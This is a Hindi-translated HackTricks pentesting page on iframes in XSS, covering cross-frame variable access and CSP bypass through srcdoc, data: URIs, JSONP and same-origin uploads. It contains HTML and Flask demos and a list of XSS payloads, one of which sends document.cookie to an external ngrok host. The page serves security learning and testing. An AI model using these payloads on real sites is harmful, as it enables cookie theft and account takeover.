Iframes in XSS, CSP and SOP

AWS हैकिंग सीखें जीरो से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

XSS में Iframes

एक iframed पेज की सामग्री को दिखाने के लिए 3 तरीके हैं:

  • src के माध्यम से एक URL को दिखाना (URL cross origin या same origin हो सकता है)

  • data: प्रोटोकॉल का उपयोग करके सामग्री को दिखाना

  • srcdoc के माध्यम से सामग्री को दिखाना

माता और बालक वेरिएबल्स तक पहुंचना

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

यदि आप http सर्वर के माध्यम से पिछले html तक पहुंचते हैं (जैसे python3 -m http.server), तो आप देखेंगे कि सभी स्क्रिप्ट्स क्रियान्वित हो जाएंगे (क्योंकि इसे रोकने वाला कोई CSP नहीं है)। माता-पिता आइफ्रेम के भीतर secret वेरिएबल तक पहुंच नहीं पाएंगे और केवल आदिक आइफ्रेम्स if2 और if3 (जो समान-स्थलीय माने जाते हैं) मूल विंडो में रहस्य तक पहुंच सकते हैं। ध्यान दें कि if4 को null मूल स्थान माना जाता है।

CSP के साथ आइफ्रेम

कृपया ध्यान दें कि निम्नलिखित बायपास में जबाब आइफ्रेम पृष्ठ को कोई भी CSP हेडर नहीं है जो JS क्रियान्वयन को रोकता है।

script-src का self मान JS को data: प्रोटोकॉल या srcdoc विशेषता का उपयोग करके कोड क्रियान्वित करने की अनुमति नहीं देगा। हालांकि, CSP का none मान भी उन आइफ्रेम्स को क्रियान्वित करने देगा जो src विशेषता में URL (पूरा या केवल पथ) डालते हैं। इसलिए किसी पृष्ठ की CSP को बायपास करना संभव है:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

नोट करें कि पिछला सीएसपी केवल इनलाइन स्क्रिप्ट का निषेध करता है। हालांकि, केवल if1 और if2 स्क्रिप्ट को निष्पादित किया जाएगा लेकिन केवल if1 माता सीक्रेट तक पहुंच सकेगा

इसलिए, यदि आप सर्वर पर एक JS फ़ाइल अपलोड कर सकते हैं और इसे आईफ्रेम के माध्यम से लोड कर सकते हैं, तो एक सीएसपी को छलना संभव है, भले ही script-src 'none' हो। यह समान साइट JSONP एंडपॉइंट का दुरुपयोग करके भी संभव है

आप इसे निम्नलिखित परिदृश्य के साथ परीक्षण कर सकते हैं जहां एक कुकी चोरी की जाती है, भले ही script-src 'none' हो। बस एप्लिकेशन को चलाएं और अपने ब्राउज़र के साथ इसका उपयोग करें:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

जंगल में पाए गए अन्य पेलोड

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

आईफ्रेम सैंडबॉक्स

आईफ्रेम के भीतर की सामग्री को sandbox विशेषता का उपयोग करके अतिरिक्त प्रतिबंधों के लिए विचाराधीन किया जा सकता है। डिफ़ॉल्ट रूप से, इस विशेषता का उपयोग नहीं होता है, जिसका मतलब है कि कोई प्रतिबंध नहीं हैं।

जब इस्तेमाल किया जाता है, sandbox विशेषता कई प्रतिबंध लागू करती हैं:

  • सामग्री को एक अद्वितीय स्रोत से उत्पन्न माना जाता है।

  • किसी भी प्रपत्र को सबमिट करने का प्रयास रोका जाता है।

  • स्क्रिप्ट का क्रियान्वयन निषिद्ध है।

  • कुछ एपीआई तक पहुंच बंद है।

  • यह लिंक को अन्य ब्राउज़िंग संदर्भों के साथ बातचीत करने से रोकता है।

  • <embed>, <object>, <applet> या समान टैग के माध्यम से प्लगइन का उपयोग अनुमति नहीं है।

  • सामग्री के शीर्ष-स्तर ब्राउज़िंग संदर्भ की संदर्भीकरण को रोका जाता है।

  • विशेषताएँ जो स्वचालित रूप से प्रेरित होती हैं, जैसे वीडियो प्लेबैक या फॉर्म नियंत्रणों का स्वचालित रूप से ब्लॉक किया जाता है।

विशेषता का मान खाली छोड़ा जा सकता है (sandbox="") ताकि सभी पूर्ववर्तित प्रतिबंध लागू हों। वैकल्पिक रूप से, इसे कुछ विशेष मूल्यों की एक अंतरिक्ष से आईफ्रेम को विशेष प्रतिबंधों से मुक्त करने के लिए एक अंतरिक्ष से बाहर छोड़ सकते हैं।

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

निम्नलिखित पृष्ठों की जाँच करें:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

Last updated